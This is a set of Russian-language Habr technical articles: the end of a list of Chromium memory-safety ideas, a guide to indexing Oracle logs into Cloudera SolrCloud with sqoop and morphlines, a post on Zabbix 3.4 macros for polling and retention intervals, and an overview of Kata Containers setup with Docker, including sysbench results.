* Акцент на композицию, а не какой-либо указатель. (Можем ли мы написать программу проверки для поиска объектов, принадлежащих по указателю, которые вместо этого могли бы просто принадлежать по значению?)
* Замена *base::Bind* *и весь код, который его использует* на линейную версию (promises? Какой-нибудь генератор кода на C++?), чтобы упростить написание асинхронного кода и обнаружение ошибок.
* Дизайн фаззинга: использование паттернов в mojo и реализациях, которые облегчают фаззинг форматов и время жизни объектов из ненадежной программы рендеринга.
* Дизайн для статического анализа: избегайте использования паттернов, которые затрудняют работу статических анализаторов.
* [SAL аннотации](https://www.google.com/url?q=https://docs.microsoft.com/en-us/cpp/code-quality/using-sal-annotations-to-reduce-c-cpp-code-defects&sa=D&source=editors&ust=1632134964180000&usg=AOvVaw3zVvxr8c4Ms---8A5tqLVR). Подходит для операционных систем, где аннотации уже доступны. По сути, это новый язык для разработчиков *base::*, с которым можно взаимодействовать, чтобы в полной мере использовать преимущества.
* Компилируйте части кода с помощью WebAssembly. (Мы изучаем это, начиная с августа 2021 года.) | https://habr.com/ru/post/580762/ | null | ru | null |
# Как проиндексировать логи бизнес-приложений в Hadoop (SolrCloud)
Введение
--------
У одного из наших клиентов возникла задача вынести логи из большинства корпоративных приложений и их баз данных «куда-нибудь» — уж больно с ними много возни: растут как на дрожжах, чисти их периодически, а к некоторым еще и доступ должен быть обеспечен в течение многих лет, да еще и анализ хочется проводить системным образом. Конечно же, вынести логи – это не первичная цель, и по совокупности требований мы выбрали Hadoop, версию от Cloudera (CDH 5).
Требования указывали, что решение, помимо прочего, должно предоставлять возможность поиска и просмотра списка событий (из логов) по заданным критериям, причем желательно быстрого. Причем некоторые приложения также должны быть переделаны, чтобы формы просмотра логов стали использовать Hadoop вместо своих баз данных.
Как одно из решений — использовать поисковый модуль SolrCloud, который входит в комплект Hadoop от Cloudera. В Cloudera «из коробки» входят тулзы для выгрузки данных из баз данных приложений и их индексации пачкой (не построчно). Однако такой способ оказался хоть и рабочим, но более трудоемким и непредсказуемым в настройке, чем, скажем, если бы мы использовали Impala для выборки данных. Поэтому я решил поделиться как мы это делали, в надежде сэкономить время тем, кто столкнется с похожей задачей.
Эта статья описывает детали настройки, а также встреченные в процессе работы особенности.
Сценарий
--------
1. Выгружаем данные из Oracle в файлы на HDFS. Формат файла — avro. Инструмент: **sqoop** (<http://sqoop.apache.org/docs/1.4.2/SqoopUserGuide.htm>).
> Формат avro имеет много плюсов: он бинарный, данные хорошо сжимаются, с ним вы не будете париться с переводами каретки и с запятыми в текстовых полях, как с CSV, и в самом файле есть схема данных, поддерживает Schema Evolution. Вообще, в Hadoop’е avro пропагандируется как унифицированный формат хранения и передачи данных между разными компонентами, его поддерживают многие инструменты и компоненты. И есть еще один плюс именно для нашей задачи, об этом ниже.
2. Создаем «коллекцию» в SolrCloud. Инструмент: **solrctl** (<http://www.cloudera.com/content/cloudera-content/cloudera-docs/CDH5/latest/Search/Cloudera-Search-User-Guide/csug_solrctl_ref.html>)
> Коллекция — логический индекс в SolrCloud. Она связана с набором конфигурационных файлов и состоит из одного или нескольких шардов (shard), считай папок с индексными файлами. Если количество шардов более одного — это распределенный индекс.
3. Запускаем MapReduce-драйвер (<https://developer.yahoo.com/hadoop/tutorial/module4.html#driver>), который:
* прочитает все записи из avro-файла
* пропустит их через ETL-процесс, написанный в виде morphline-скрипта; результат этого процесса — шард с новыми данными (индекс файлы в формате Solr’а, выложенные в указанную директорию HDFS)
* сольет (merge) выложенный шард в коллекцию активного SolrCloud без перевода его в offline, по-живому (go-live), так сказать :)
Инструмент: команда hadoop, запускающая драйвер **org.apache.solr.hadoop.MapReduceIndexerTool** (<http://www.cloudera.com/content/cloudera-content/cloudera-docs/CDH5/latest/Search/Cloudera-Search-User-Guide/csug_mapreduceindexertool.html>), выполняющий сию последовательность.
Все запускаем с основного NameNode’а, хотя это не принципиально.
Итак, по шагам…
Выгружаем данные из Oracle в avro файлы
---------------------------------------
```
sqoop import --connect jdbc:oracle:thin:@oraclehost:1521/SERVICENAME \
--username ausername --password apassword --table ASCHEMA.LOG_TABLE \
--as-avrodatafile --compression-codec snappy \
-m 16 --split-by NUM_BEG \
--map-column-java NUM_BEG=Integer,DTM_BEG=String,KEY_TYPE=String,OLD_VALUE=String,NEW_VALUE=String,NUM_PARENT=Integer,\
NUM_END=Integer,EVENT=String,TRACELEVEL=String,KEY_USER=String,COMPUTER_NAME=String,PRM=String,OPERATION=Integer,\
KEY_ENTITY=String,MODULE_NAME=String \
--target-dir /user/$USER/solrindir/tmlogavro
```
Немного о параметрах:
* **connect** — строка подключения к базе одного из приложений на Oracle.
* **as-avrodatafile** и **compression-codec** указывают на то, что выгружаться данные будут в файл(ы) формата avro с указанной компрессией, которая в среднем сжимает данные нашей структуры в 10 раз.
* **-m** определяет, сколько map-задач (tasks) будут выгружать данные из таблицы. Несколько задач запускаются параллельно. Каждая задача берет свое подмножество записей из таблицы и сохраняет в отдельный файл. Чтобы определить все подмножество, sqoop берет select min(), max().
* **from** делит полученный диапазон чисел на 16 частей (в нашем примере), и теперь каждая задача будет использовать получившийся поддиапазон чисел как фильтры в SQL-запрос для выбора нужного ей подмножества записей таблицы. По умолчанию split-by берется как первая колонка в Pk таблицы.
* **map-column-java** — указание типов колонок в понятиях Sqoop’а. В принципе, Sqoop умеет переваривать большинство Oracle’овых типов колонок, но иногда вы вынуждены подсказывать ему в этом параметре.
* **target-dir** — директория в HDFS, в которую нужно сохранять файлы.
Создаем коллекцию
-----------------
Здесь пользуемся утилитой solrctl для управления развернутым SolrCloud.
Сначала на локальном диске генерируем структуру файлов будущей коллекции, так называемую Collection Instance Directory. В ней мы будем делать/изменять настройки коллекции на локальном диске и затем клонировать их в сервис конфигурации zookeeper, из которого SolrCloud читает необходимые для работы настройки:
```
solrctl instancedir --generate $HOME/solr_configs_for_tm_log
```
Здесь параметром является путь до создаваемой локальной директории.
По умолчанию созданные в директории файлы уже наполнены демо-настройкой схемы данных и инструкций к поиску, и нам необходимо удалить лишнее.
Открываем файл conf/schema.xml в созданной директории. Это основной файл коллекции, описывающий структуру индексируемых данных. Удаляем тэг со своим содержимым, тэг и все . Вместо этого вставляем следующее:
```
num\_beg
```
Обратите внимание, что поле \_version\_ не существует в источнике данных, оно необходимо для внутренних целей Solr’а, например для оптимистичных блокировок, для механизма Partial Update. Просто указать такое поле в вашем schema.xml будет достаточно: Solr сам будет управлять его содержимым.
Также нет и поля text. Мы его указали вместе с инструкцией copyField для работоспособности полнотекстового поиска через HUE (пользовательский интерфейс к Hadoop’у от Clouderа). Если вы подключите созданную коллекцию к HUE (через настроечные UI-формы), то в интерфейсе поиска по этой коллекции значение строки поиска происходит по полю text.
Теперь одно приседание. Дело в том, что в нагенерированных файлах-примерах включен один механизм поискового движка — Elevator. Он позволяет выставлять вперед результаты по определенным критериям, вроде рекламных объявлений сверху в результатах поиска в Yandex. Так вот в примере он настроен на то, что ключевое поле в вашей схеме — типа string (примеры рекламных фраз можно посмотреть в conf\elevate.xml). У нас же стоит int. Из-за этого весь наш процесс индексирования обваливался с ошибкой о несоответствии типов. Учитывая, что этот механизм неинтересен для нашей задачи, вырезаем его, а именно: открываем файл `conf/solrconfig.xml` в созданной директории, и удаляем (комментируем) теги и их содержимое `,` . А заодно удаляем файл `conf\elevate.xml` из созданной директории, чтоб не болтался под ногами.
Затем регистрируем (клонируем) всю конфигурацию будущей коллекции в SolrCloud, а точнее, в naming service ZooKeeper, из которого все развернутые сервера SolrCloud’а читают конфигурации (и получают их обновления):
```
solrctl instancedir --create tm_log_avro $HOME/solr_configs_for_tm_log
```
Здесь параметром является имя будущей коллекции, и путь к директории на локальном диске, содержащей файлы конфигурации. Мы её создали выше.
Ну и последний шаг на этом этапе — создание коллекции с заданным количеством шардов:
```
solrctl collection --create tm_log_avro -s 1
```
Эта команда создает коллекцию на основе зарегистрированной в ZooKeeper конфигурации. Первый параметр — имя коллекции, второй — количество шардов (возьмем для простоты 1).
Запуск процесса индексации коллекции
------------------------------------
Сначала настроим ETL-процесс индексации. Cloudera с уважением относится к библиотеке Kite SDK, особенно к её части Morphline. По сути, компонент Morphline — это интерпретатор скриптового языка, в котором вы описываете (в виде иерархии последовательностей команд), что нужно делать с входящим потоком данных (в виде массива объектов-«записей»), как преобразовать, и что отдать дальше. Например, есть команда для чтения avro-файла. Конечно же, свои команды подключаются, в этом и фишка. Вот и Clouderа написала команды для создания Solr-индекса по всем записям входящего потока, он будет последний в скрипте.
Суть процесса:
* на вход приходит объект-«запись» с информацией о файле
* запускается команда, читающая это файл и отдающая строки этого файла в виде массива объектов-«записей»
* данные каждой строки преобразуются, как вам удобно (например, значение поля с датой-временем преобразуется из UTC в региональное время)
* каждая строка преобразуется в Solr-документ и весь массив возвращается из MapReduce Mapper-а
Для настройки такого процесса создадим файл `$HOME/solr_configs_for_tm_log_morphlines/morphlines.conf` со следующим наполнением:
```
# Specify server locations in a SOLR_LOCATOR variable; used later in
# variable substitutions:
SOLR_LOCATOR : {
# Name of solr collection
collection : tm_log_avro
# ZooKeeper ensemble
zkHost : "hadoop-n1.custis.ru:2181,hadoop-n2.custis.ru:2181,hadoop-n3.custis.ru:2181/solr"
}
# Specify an array of one or more morphlines, each of which defines an ETL
# transformation chain. A morphline consists of one or more potentially
# nested commands. A morphline is a way to consume records such as Flume events,
# HDFS files or blocks, turn them into a stream of records, and pipe the stream
# of records through a set of easily configurable transformations on its way to
# Solr.
morphlines : [
{
# Name used to identify a morphline. For example, used if there are multiple
# morphlines in a morphline config file.
id : morphline1
# Import all morphline commands in these java packages and their subpackages.
# Other commands that may be present on the classpath are not visible to this
# morphline.
importCommands : ["org.kitesdk.**", "org.apache.solr.**"]
commands : [
{
# Parse Avro container file and emit a record for each Avro object
readAvroContainer {
# Optionally, require the input to match one of these MIME types:
# supportedMimeTypes : [avro/binary]
# Optionally, use a custom Avro schema in JSON format inline:
# readerSchemaString : """"""
# Optionally, use a custom Avro schema file in JSON format:
# readerSchemaFile : /path/to/syslog.avsc
}
}
{
# Consume the output record of the previous command and pipe another
# record downstream.
#
# extractAvroPaths is a command that uses zero or more Avro path
# excodeblockssions to extract values from an Avro object. Each excodeblockssion
# consists of a record output field name, which appears to the left of the
# colon ':' and zero or more path steps, which appear to the right.
# Each path step is separated by a '/' slash. Avro arrays are
# traversed with the '[]' notation.
#
# The result of a path excodeblockssion is a list of objects, each of which
# is added to the given record output field.
#
# The path language supports all Avro concepts, including nested
# structures, records, arrays, maps, unions, and others, as well as a flatten
# option that collects the primitives in a subtree into a flat list. In the
# paths specification, entries on the left of the colon are the target Solr
# field and entries on the right specify the Avro source paths. Paths are read
# from the source that is named to the right of the colon and written to the
# field that is named on the left.
extractAvroPaths {
flatten : true
paths : {
computer\_name :/COMPUTER\_NAME
dtm\_beg :/DTM\_BEG
event :/EVENT
key\_entity :/KEY\_ENTITY
key\_type :/KEY\_TYPE
key\_user :/KEY\_USER
module\_name :/MODULE\_NAME
new\_value :/NEW\_VALUE
num\_beg :/NUM\_BEG
num\_end :/NUM\_END
num\_parent :/NUM\_PARENT
old\_value :/OLD\_VALUE
operation :/OPERATION
prm :/PRM
tracelevel :/TRACELEVEL
}
}
}
# Consume the output record of the previous command and pipe another
# record downstream.
#
# convert timestamp field to native Solr timestamp format
# such as 2012-09-06 07:14:34 to 2012-09-06T07:14:34.000Z in UTC
{
convertTimestamp {
field : dtm\_beg
inputFormats : ["yyyy-MM-dd HH:mm:ss", "yyyy-MM-dd"]
inputTimezone : Europe/Moscow
outputFormat : "yyyy-MM-dd'T'HH:mm:ss.SSS'Z'"
outputTimezone : UTC
}
}
# Consume the output record of the previous command and pipe another
# record downstream.
#
# This command deletes record fields that are unknown to Solr
# schema.xml.
#
# Recall that Solr throws an exception on any attempt to load a document
# that contains a field that is not specified in schema.xml.
{
sanitizeUnknownSolrFields {
# Location from which to fetch Solr schema
solrLocator : ${SOLR\_LOCATOR}
}
}
# log the record at DEBUG level to SLF4J
{ logDebug { format : "output record: {}", args : ["@{}"] } }
# load the record into a Solr server or MapReduce Reducer
{
loadSolr {
solrLocator : ${SOLR\_LOCATOR}
}
}
]
}
]
```
Немного про использованные команды:
* **readAvroContainer** — вот тут-то нам и пригодится формат avro: в самом файле есть вся метаинформация о структуре данных, которая необходима, чтобы сформировать поток объектов-записей и пустить его по командам дальше. Если бы мы взяли, к примеру, CSV, то нам пришлось бы еще раз здесь описать имя каждого поля, его тип, длину, позицию в файле… Сейчас же эта информация автоматически сформирована на первом шаге при выгрузке из Oracle через Sqoop.
* **extractAvroPaths** — указывает, какие поля из каждой входящей записи брать и в какие поля исходящей записи класть. Мы здесь указываем те имена полей, о которых «знает» наша коллекция в SolrCloud. Именно их будет передавать в индексацию последняя команда.
* **convertTimestamp** — вызываясь для каждой входящей записи, преобразует строковое поле в дату-время в формате UTC.
* **loadSolr** — преобразует объект-«запись» в Solr-документ. Массив этих документов будет затем передан в MapReduce Reducer, который займется непосредственно их индексированием.
Запуск
------
Теперь все готово для запуска. Запускаем вместе две команды:
* **org.apache.solr.hadoop.HdfsFindTool** — это, по сути, реализация части linux-команды find (почему-то в hdfs до сих пор не реализована такая команда, хотя баги стоят уже давно). Результат этой команды (список) передается во вторую
* MapReduce драйвер **org.apache.solr.hadoop.MapReduceIndexerTool** с кучкой параметров
```
sudo -u hdfs hadoop jar /usr/lib/solr/contrib/mr/search-mr-*-job.jar org.apache.solr.hadoop.HdfsFindTool -find \
hdfs://$NNHOST:8020/user/$USER/solrindir/tmlogavro -type f \
-name 'part-m-000*.avro' |\
sudo -u hdfs hadoop --config /etc/hadoop/conf.cloudera.yarn \
jar /usr/lib/solr/contrib/mr/search-mr-*-job.jar org.apache.solr.hadoop.MapReduceIndexerTool \
--libjars /usr/lib/solr/contrib/mr/search-mr-1.0.0-cdh5.0.0.jar \
--log4j $HOME/solr_configs_for_tm_log_morphlines/log4j.properties \
--morphline-file $USER/solr_configs_for_tm_log_morphlines/morphlines.conf \
--output-dir hdfs://$NNHOST:8020/user/$USER/solroutdir \
--verbose --go-live --zk-host $ZKHOST \
--collection tm_log_avro \
--input-list -;
```
Немного про параметры второй команды:
* **jar** — это путь до jar’ника с драйвером; путь — стандартный в поставке от Cloudera
* **org.apache.solr.hadoop.MapReduceIndexerTool** — непосредственно имя класса-драйвера в jar’нике
* **libjars** — дополнительно подключаемые библиотеки
* **log4j** — путь до log4j конфигурационного файла, можно взять стандартный в /usr/lib/hadoop-yarn/etc/hadoop
* **morphline-file** — путь до скрипт-файла morphline, созданного выше
* **output-dir** — имя директории в hdfs, куда будут сохранены все индексы до слива (merge) в сервера SolrCloud
* **input-list** — список файлов для индексации. Тире после параметра означает взять список из standard input
* переменная **$ZKHOST** настроена у нас в hadoop-n1.custis.ru:2181,hadoop-n2.custis.ru:2181,hadoop-n3.custis.ru:2181/solr
Эта команда создаст и запустит MapReduce-задачи:
* Задача Map берет свой файл, пропускает его через Morphline ETL, превратив входящие записи логов в объекты-документы Solr, и передает их в следующую задачу. Будет столько экземпляров задач, сколько есть файлов
* Задача Reduce берет входные документы и индексирует их в отдельную директорию на диске (в поддиректорию ). Экземпляров столько же
* Так называемая задача Reduce-Only берет все индексы из папок и заливает их (merge) в SolrCloud. Экземпляров задачи столько, сколько есть шардов у вас в коллекции. В нашем случае — 1
Немного итогов
--------------
MapReduceIndexerTool, да и сам Solr, оказался очень капризен по поводу доступной оперативной памяти. С нашими структурами каждая задача Reduce, индексирующая файл из списка, требовала, чтобы ей было доступно оперативной памяти (Java Heap Size) в объеме примерно 1/2 от размера несжатого файла, иначе — OutOfMemoryError. Поэтому при выгрузке sqoop’ом в файлы управляйте их размером через, например, параметр m (количество mapper’ов, создающих файлы).
Также, несмотря на количество доступной памяти в задачах Map и Reduce, успешность прохождения последнего этапа напрямую зависит от количества доступной памяти в Solr Server’е и от размера уже проиндексированных данных в коллекции. По нашим структурам, например, для merge’а 30 Гб на один шард хватало 6 Гб Java Heap Size, выделенной на один Solr instance.
Есть еще одна особенность — используемый механизм merge’а индексов никак не идентифицирует дубли записей. Если в вашем индексируемом файле есть записи, которые уже есть в коллекции, — они задублируются. Поэтому при повторной индексации следите, чтобы каждый раз получать в файлах уникальный набор записей. Это можно вполне легко устроить, воспользовавшись фичей sqoop’а по инкрементальной выгрузке данных (через sqoop job). Только не забудьте перед запуском выгрузки убирать старые файлы из папки, а то ведь еще раз проиндексируются. | https://habr.com/ru/post/234049/ | null | ru | null |
# Zabbix 3.4: Макросы в интервалах времени
Привет. Продолжаем освещать нововведения Zabbix 3.4. Сегодня поговорим об использовании макросов в интервалах обновления и других временных периодах.
Пару слов о макросах
====================
[Пользовательские макросы](https://www.zabbix.com/documentation/3.4/ru/manual/config/macros/usermacros) – давно зарекомендовавший себя механизм, используемый в Zabbix повсеместно и дающий системе мониторинга необходимую ей гибкость. По сути это переменные, которые вы можете назначать с глобальным уровнем видимости, шаблона или узла сети. Использование макросов всячески приветствуется и рекомендуется, например в шаблонах, что делает их настраиваемыми в других окружениях и другими пользователями.
Выглядят пользовательские макросы следующим образом, вы их наверняка уже встречали:
```
{$MACRO}
```
Интервалы обновления и хранения истории
=======================================
Zabbix позволяет гибко настраивать время опроса метрик: у каждой метрики может быть свой собственный интервал.
Обновления каждой метрики также могут быть "гибкими"(см. [Пользовательские интервалы](https://www.zabbix.com/documentation/3.4/ru/manual/config/items/item/custom_intervals)), а значит происходить по определенному расписанию ("раз в сутки ночью" или "в 9:00 утра в будни").
Аналогичным образом мы можем определить время хранения истории и трендов для каждого элемента данных отдельно.
Подобная тонкость настройки нужна далеко не всегда, поэтому использование макросов дает пару новых идей по настройке этих параметров.
Варианты использования
======================
### Интервалы обновления и длительность хранения собранных данных
Во-первых, интервалы обновления метрик (как обычные, так и пользовательские интервалы), о которых сказано выше, теперь поддерживают пользовательские макросы. Во-вторых, использовать макросы можно и в интервалах хранения истории и трендов. В итоге это выглядит вот так:
Просто задайте значения этих макросов глобально, а потом переназначайте на уровне шаблона или узла сети, если требуется:
В общем, для *интервалов обновлений* можно создать небольшой глобальный набор макросов, которые затем использовать по умолчанию для всех новых *элементов данных*, в зависимости от их типа и важности. Например:
Это позволит не тратить каждый раз время на обдумывание "я хочу собирать эту метрику раз в 60 или раз в 61 секунду? или может раз в 5 минут будет достаточно?", а просто использовать принятые на вашем сервере и проекте правила по сбору и хранению элементов данных, зафиксированные в глобальных макросах. Хотя, возможно, такой вариант подойдет не всем :)
### В низкоуровневом обнаружении
Поддерживается и [контекст макросов](https://www.zabbix.com/documentation/3.4/ru/manual/config/macros/usermacros#%D0%BA%D0%BE%D0%BD%D1%82%D0%B5%D0%BA%D1%81%D1%82_%D0%BC%D0%B0%D0%BA%D1%80%D0%BE%D1%81%D0%BE%D0%B2), что может быть очень полезно, например, при [LLD](https://www.zabbix.com/documentation/3.4/ru/manual/discovery/low_level_discovery).
Представьте, что мы собираем трафик сетевых интерфейсов на множестве устройств. Чтобы не нагружать Zabbix, мы бы хотели сделать следующим образом:
* ключевые интерфейсы, транки и прочие аплинки — забирать данные раз в 1 минуту, хранить *историю* 30 дней, а *тренды* 1 год.
* остальные интерфейсы — опрашивать раз в 5 минут, хранить *историю* 3 дня, а *тренды* 1 месяц.
Для начала определим глобальные макросы {$DELAY\_IF}, {$HISTORY\_IF}, {$TREND\_IF}:
Затем используем их в прототипе элемента данных интерфейса, но уже с контекстом (в данном случае это будет имя интерфейса ifName):
Уже на уровне узла сети укажем новое значение макроса с контекстом для ключевого интерфейса (для примера возьмем Gi0/0.114):
Теперь посмотрим частоту обновления и время хранения для различных интерфейсов в "Последних данных". Как видно, у нашего очень важного Gi0/0.114 теперь свои правила хранения и сбора:
Если же мы захотим изменить общий интервал или увеличить частоту опроса или времени хранения еще одного интерфейса — нам нужно будет просто переназначить макросы на уровне хоста. Изменять шаблон, прототип и ждать обнаружения не потребуется — все применится сразу. На самом деле, даже доступ на запись к шаблону не требуется.
### Где еще?
А еще макросы теперь можно применять в других ситуациях, где нужно было указывать время или период. Например, в действиях:
или указать через макрос время доступности инженера для автоматических уведомлений:
С точным списком мест, в которых возможно применение макросов, можно ознакомиться [здесь](https://www.zabbix.com/documentation/3.4/manual/appendix/macros/supported_by_location_user).
В итоге
=======
Новые возможности макросов в 3.4 открывают парочку неплохих возможностей: с одной стороны — для более тонкой настройки (для LLD), а с другой стороны — для централизации и управления временем опроса и хранения. И кстати, в интервалах времени появилась поддержка суффиксов s,m,h,d,w — мелочь, а удобно :)
До встречи!
**P.S.** Статья также доступна в нашем [блоге](http://blog.zabbix.com/using-macros-for-time-periods-management/) на английском языке. | https://habr.com/ru/post/344492/ | null | ru | null |
# Краткий обзор и настройка Kata Containers
В этой статье будет рассмотрен принцип работы [Kata Containers](https://katacontainers.io/), а также будет практическая часть с их подключением к Docker.
Про общие проблемы с Docker и вариантами их решения уже [было написано](https://habr.com/ru/post/434756/), сегодня я кратко опишу реализацию от Kata Containers. Kata Containers — безопасная среда выполнения (runtime) контейнеров на основе облегченных виртуальных машин. Работа с ними происходит так же как и с другими контейнерами, но дополнительно имеется более надежная изоляция с использованием технологии виртуализации оборудования. Проект начался в 2017 году, одноименное сообщество тогда завершило слияние лучших идей от Intel Clear Containers и Hyper.sh RunV, после чего работа продолжилась над поддержкой различных архитектур, включая AMD64, ARM, IBM p- и z-series. Дополнительно поддерживается работа внутри гипервизоров QEMU, Firecracker, а также есть интеграция с containerd. Код доступен на [GitHub](https://github.com/kata-containers) под лицензией MIT.
Основные возможности
--------------------
* Работа с отдельным ядром, таким образом обеспечивается изоляция сети, памяти и операций ввода-вывода, есть возможность принудительного использования аппаратной изоляции на основе расширений виртуализации
* Поддержка промышленных стандартов, включая OCI (формат контейнеров), Kubernetes CRI
* Стабильная производительность обычных контейнеров Linux, повышение изоляции без накладных расходов, влияющих на производительность обычных виртуальных машин
* Устранение необходимости запуска контейнеров внутри полноценных виртуальных машин, типовые интерфейсы упрощают интеграцию и запуск
Установка
---------
Есть [множество](https://github.com/kata-containers/documentation/tree/master/install) вариантов установки, я рассмотрю установку из репозиториев, на основе операционной системы Centos 7.
**Важно**: работа Kata Containers поддерживается только на железе, проброс виртуализации работает не всегда, также **нужна поддержка sse4.1** от процессора.
Установка Kata Containers достаточно простая:
Устанавливаем утилиты для работы с репозиториями:
```
# yum -y install yum-utils
```
Отключаем Selinux (правильнее — настроить, но для простоты я его отключаю):
```
# setenforce 0
# sed -i 's/^SELINUX=enforcing$/SELINUX=permissive/' /etc/selinux/config
```
Подключаем репозиторий и производим установку
```
# source /etc/os-release
# ARCH=$(arch)
# BRANCH="${BRANCH:-stable-1.10}"
# yum-config-manager --add-repo "http://download.opensuse.org/repositories/home:/katacontainers:/releases:/${ARCH}:/${BRANCH}/CentOS_${VERSION_ID}/home:katacontainers:releases:${ARCH}:${BRANCH}.repo"
# yum -y install kata-runtime kata-proxy kata-shim
```
Настройка
---------
Я буду проводить настройку для работы с docker, его установка типовая, я ее не буду расписывать подробнее:
```
# rpm -qa | grep docker
docker-ce-cli-19.03.6-3.el7.x86_64
docker-ce-19.03.6-3.el7.x86_64
# docker -v
Docker version 19.03.6, build 369ce74a3c
```
Вносим правки в daemon.json:
```
# cat < /etc/docker/daemon.json
{
"default-runtime": "kata-runtime",
"runtimes": {
"kata-runtime": {
"path": "/usr/bin/kata-runtime"
}
}
}
EOF
```
Перезапускаем docker:
```
# service docker restart
```
Проверка работоспособности
--------------------------
Если запустить контейнер до перезапуска docker — можно увидеть, что uname выдаст версию ядра, запущенного на основной системе:
```
# docker run busybox uname -a
Linux 19efd7188d06 3.10.0-1062.12.1.el7.x86_64 #1 SMP Tue Feb 4 23:02:59 UTC 2020 x86_64 GNU/Linux
```
После перезапуска — версия ядра выглядит так:
```
# docker run busybox uname -a
Linux 9dd1f30fe9d4 4.19.86-5.container #1 SMP Sat Feb 22 01:53:14 UTC 2020 x86_64 GNU/Linux
```
**Еще команды!**
```
# time docker run busybox mount
kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
sysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime)
tmpfs on /sys/fs/cgroup type tmpfs (ro,nosuid,nodev,noexec,relatime,mode=755)
cgroup on /sys/fs/cgroup/systemd type cgroup (ro,nosuid,nodev,noexec,relatime,xattr,name=systemd)
cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpu,cpuacct)
cgroup on /sys/fs/cgroup/blkio type cgroup (ro,nosuid,nodev,noexec,relatime,blkio)
cgroup on /sys/fs/cgroup/memory type cgroup (ro,nosuid,nodev,noexec,relatime,memory)
cgroup on /sys/fs/cgroup/devices type cgroup (ro,nosuid,nodev,noexec,relatime,devices)
cgroup on /sys/fs/cgroup/perf_event type cgroup (ro,nosuid,nodev,noexec,relatime,perf_event)
cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup (ro,nosuid,nodev,noexec,relatime,net_cls,net_prio)
cgroup on /sys/fs/cgroup/freezer type cgroup (ro,nosuid,nodev,noexec,relatime,freezer)
cgroup on /sys/fs/cgroup/pids type cgroup (ro,nosuid,nodev,noexec,relatime,pids)
cgroup on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpuset)
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)
kataShared on /etc/resolv.conf type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)
kataShared on /etc/hostname type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)
kataShared on /etc/hosts type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)
proc on /proc/bus type proc (ro,relatime)
proc on /proc/fs type proc (ro,relatime)
proc on /proc/irq type proc (ro,relatime)
proc on /proc/sys type proc (ro,relatime)
tmpfs on /proc/acpi type tmpfs (ro,relatime)
tmpfs on /proc/timer_list type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /sys/firmware type tmpfs (ro,relatime)
real 0m2.381s
user 0m0.066s
sys 0m0.039s
```
```
# time docker run busybox free -m
total used free shared buff/cache available
Mem: 1993 30 1962 0 1 1946
Swap: 0 0 0
real 0m3.297s
user 0m0.086s
sys 0m0.050s
```
Быстрое нагрузочное тестирование
--------------------------------
Для оценки потерь от виртуализации — запускаю sysbench, в качестве основных примеров [беру этот вариант](https://hub.docker.com/r/ljishen/sysbench).
### Запуск sysbench с использованием Docker+containerd
**Тест процессора**
```
sysbench 1.0: multi-threaded system evaluation benchmark
Running the test with following options:
Number of threads: 1
Initializing random number generator from current time
Prime numbers limit: 20000
Initializing worker threads...
Threads started!
General statistics:
total time: 36.7335s
total number of events: 10000
total time taken by event execution: 36.7173s
response time:
min: 3.43ms
avg: 3.67ms
max: 8.34ms
approx. 95 percentile: 3.79ms
Threads fairness:
events (avg/stddev): 10000.0000/0.00
execution time (avg/stddev): 36.7173/0.00
```
**Тест оперативной памяти**
```
sysbench 1.0: multi-threaded system evaluation benchmark
Running the test with following options:
Number of threads: 1
Initializing random number generator from current time
Initializing worker threads...
Threads started!
Operations performed: 104857600 (2172673.64 ops/sec)
102400.00 MiB transferred (2121.75 MiB/sec)
General statistics:
total time: 48.2620s
total number of events: 104857600
total time taken by event execution: 17.4161s
response time:
min: 0.00ms
avg: 0.00ms
max: 0.17ms
approx. 95 percentile: 0.00ms
Threads fairness:
events (avg/stddev): 104857600.0000/0.00
execution time (avg/stddev): 17.4161/0.00
```
### Запуск sysbench с использованием Docker+Kata Containers
**Тест процессора**
```
sysbench 1.0: multi-threaded system evaluation benchmark
Running the test with following options:
Number of threads: 1
Initializing random number generator from current time
Prime numbers limit: 20000
Initializing worker threads...
Threads started!
General statistics:
total time: 36.5747s
total number of events: 10000
total time taken by event execution: 36.5594s
response time:
min: 3.43ms
avg: 3.66ms
max: 4.93ms
approx. 95 percentile: 3.77ms
Threads fairness:
events (avg/stddev): 10000.0000/0.00
execution time (avg/stddev): 36.5594/0.00
```
**Тест оперативной памяти**
```
sysbench 1.0: multi-threaded system evaluation benchmark
Running the test with following options:
Number of threads: 1
Initializing random number generator from current time
Initializing worker threads...
Threads started!
Operations performed: 104857600 (2450366.94 ops/sec)
102400.00 MiB transferred (2392.94 MiB/sec)
General statistics:
total time: 42.7926s
total number of events: 104857600
total time taken by event execution: 16.1512s
response time:
min: 0.00ms
avg: 0.00ms
max: 0.43ms
approx. 95 percentile: 0.00ms
Threads fairness:
events (avg/stddev): 104857600.0000/0.00
execution time (avg/stddev): 16.1512/0.00
```
В принципе ситуация уже понятная, но оптимальнее запускать тесты несколько раз, убирая выбросы и усредняя результаты, поэтому больше тестов пока не делаю.
Выводы
------
Несмотря на то, что запуск таких контейнеров занимает примерно в пять-десять раз больше времени (типичное время запуска аналогичных команд при использовании containerd — меньше трети секунды) — они все равно достаточно быстро работают, если брать абсолютное время запуска (выше есть примеры, команды выполняются в среднем за три секунды). Ну а результаты быстрого теста CPU и RAM показывают фактически одинаковые результаты, что не может не радовать, особенно в свете того, что изоляция обеспечивается с помощью такого хорошо обкатанного механизма, как kvm.
Анонс
-----
Статья обзорная, но дает возможность пощупать альтернативный runtime. Не охвачены многие области применения, например на сайте описана возможность запуска Kubernetes поверх Kata Containers. Дополнительно также можно провести ряд тестов, ориентированных на поиск проблем с безопасностью, установку ограничений и прочие интересные вещи.
